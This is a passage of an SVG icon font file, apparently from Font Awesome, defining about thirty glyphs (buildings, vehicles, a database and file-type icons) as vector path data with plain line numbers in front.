424 <glyph unicode="&#xf1ac;" horiz-adv-x="1792" d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48 l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23 t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128 q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128 q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
425 <glyph unicode="&#xf1ad;" d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9 t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64 q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64 q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9 t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64 q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64 q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9 t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
426 <glyph unicode="&#xf1ae;" horiz-adv-x="1280" d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68t68 28t68 -28l228 -228h368l228 228q28 28 68 28t68 -28t28 -68t-28 -68zM864 1152q0 -93 -65.5 -158.5 t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
427 <glyph unicode="&#xf1b0;" horiz-adv-x="1664" d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5 q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819 q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5 t100.5 134t141.5 55.5z" />
428 <glyph unicode="&#xf1b1;" horiz-adv-x="768" d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
429 <glyph unicode="&#xf1b2;" horiz-adv-x="1792" d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z " />
430 <glyph unicode="&#xf1b3;" horiz-adv-x="2304" d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67 t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-5 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70 v-400l434 -186q36 -16 57 -48t21 -70z" />
431 <glyph unicode="&#xf1b4;" horiz-adv-x="2048" d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658 q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204 q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
432 <glyph unicode="&#xf1b5;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5 t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217 t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
433 <glyph unicode="&#xf1b6;" horiz-adv-x="1792" d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5 q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89 q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
434 <glyph unicode="&#xf1b7;" d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5 q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5 q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z " />
435 <glyph unicode="&#xf1b8;" horiz-adv-x="1792" d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188 l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5 t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1 q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
436 <glyph unicode="&#xf1b9;" horiz-adv-x="2048" d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384 q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5 l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
437 <glyph unicode="&#xf1ba;" horiz-adv-x="2048" d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5 t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
438 <glyph unicode="&#xf1bb;" d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384 q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
439 <glyph unicode="&#xf1bc;" d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64 q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37 q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
440 <glyph unicode="&#xf1bd;" d="M1397 1408q58 0 98.5 -40.5t40.5 -98.5v-1258q0 -58 -40.5 -98.5t-98.5 -40.5h-1258q-58 0 -98.5 40.5t-40.5 98.5v1258q0 58 40.5 98.5t98.5 40.5h1258zM1465 11v1258q0 28 -20 48t-48 20h-1258q-28 0 -48 -20t-20 -48v-1258q0 -28 20 -48t48 -20h1258q28 0 48 20t20 48 zM694 749l188 -387l533 145v-496q0 -7 -5.5 -12.5t-12.5 -5.5h-1258q-7 0 -12.5 5.5t-5.5 12.5v141l711 195l-212 439q4 1 12 2.5t12 1.5q170 32 303.5 21.5t221 -46t143.5 -94.5q27 -28 -25 -42q-64 -16 -256 -62l-97 198q-111 7 -240 -16zM1397 1287q7 0 12.5 -5.5 t5.5 -12.5v-428q-85 30 -188 52q-294 64 -645 12l-18 -3l-65 134h-233l85 -190q-132 -51 -230 -137v560q0 7 5.5 12.5t12.5 5.5h1258zM286 387q-14 -3 -26 4.5t-14 21.5q-24 203 166 305l129 -270z" />
441 <glyph unicode="&#xf1be;" horiz-adv-x="2304" d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11 q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245 q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785 l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242 q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236q0 -11 -8 -19 t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786q-13 2 -22 11t-9 22v899 q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
442 <glyph unicode="&#xf1c0;" d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127 t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5 t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
443 <glyph unicode="&#xf1c1;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197 q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8 q-1 1 -1 2t-0.5 1.5t-0.5 1.5q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
444 <glyph unicode="&#xf1c2;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4l-3 21q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5t-3.5 -21.5l-4 -21h-4l-2 21 q-2 26 -7 46l-99 438h90v107h-300z" />
445 <glyph unicode="&#xf1c3;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107 h-290v-107h68l189 -272l-194 -283h-68z" />
446 <glyph unicode="&#xf1c4;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
447 <glyph unicode="&#xf1c5;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
448 <glyph unicode="&#xf1c6;" d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400 v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79 q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
449 <glyph unicode="&#xf1c7;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5 q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
450 <glyph unicode="&#xf1c8;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
451 <glyph unicode="&#xf1c9;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243 l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
452 <glyph unicode="&#xf1ca;" d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406 q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
453 <glyph unicode="&#xf1cb;" horiz-adv-x="1792" d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546 q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
